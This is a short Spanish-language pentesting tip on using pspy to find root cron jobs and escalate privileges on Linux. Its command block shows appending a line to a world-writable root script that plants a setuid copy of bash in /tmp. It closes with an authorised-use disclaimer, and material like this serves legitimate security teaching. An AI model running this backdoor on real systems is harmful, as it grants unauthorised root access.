KALI
Procesos ocultos con pspy
A veces la escalada está en un proceso que corre como root cada cierto tiempo, pero no lo ves en el crontab porque está en otro lado.
pspy espía todos los procesos y tareas cron del sistema en tiempo real, sin necesitar privilegios. Lo dejas corriendo un rato y descubres qué scripts ejecuta root periódicamente.
Si alguno de esos scripts es escribible por ti, ahí está tu escalada. Es la herramienta que revela lo invisible.
# los comandos
www-data@victim:$ ./pspy64 -pf -i 1000copiar2026/08/05 CMD: UID=0 /bin/bash /opt/scripts/limpieza.sh
2026/08/05 CMD: UID=0 cron
www-data@victim:$ ls -l /opt/scripts/limpieza.shcopiar-rwxrwxrwx 1 root root <- escribible por todos!
www-data@victim:$ echo 'cp /bin/bash /tmp/r;chmod +s /tmp/r' >> /opt/scripts/limpieza.shcopiarSolo con permiso. Esto se muestra con fines educativos y defensivos: úsalo únicamente en sistemas propios o donde tengas autorización. Entender el ataque es lo que te permite defenderte de él.